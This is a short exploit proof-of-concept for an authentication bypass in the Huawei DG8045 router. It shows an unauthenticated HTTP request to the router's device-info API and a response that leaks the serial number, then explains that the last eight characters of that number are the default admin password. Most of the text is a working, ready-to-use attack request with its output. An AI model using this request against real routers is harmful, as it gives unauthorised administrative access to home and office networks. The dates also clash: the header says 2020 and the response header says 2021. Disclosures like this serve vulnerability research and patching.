Huawei DG8045 Authentication Bypass

`# Title: Huawei dg8045 - Authentication Bypass  
# Date: 2020-06-24  
# Author: Abdalrahman Gamal  
# Vendor Homepage: www.huawei.com  
# Version: dg8045  
# Hardware Version: VER.A  
  
#POC:  
  
The default password of this router is the last 8 characters of the  
device's serial number which exist in the back of the device.  
  
An attacker can leak the serial number via the web app API like the  
following:  
  
************************Request************************  
GET /api/system/deviceinfo HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)  
Gecko/20100101 Firefox/65.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://192.168.1.1/  
X-Requested-With: XMLHttpRequest  
Connection: close  
  
  
************************Response************************  
HTTP/1.1 200 OK  
Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
X-Download-Options: noopen  
X-Frame-Options: SAMEORIGIN  
X-XSS-Protection: 1; mode=block  
Date: Thu, 24 Jun 2021 02:07 GMT+2  
Connection: Keep-Alive  
Content-Language: en  
Content-Type: application/javascript  
Content-Length: 141  
  
while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/  
  
  
  
You can use that serial number last 8 char/digits to login to the router.  
`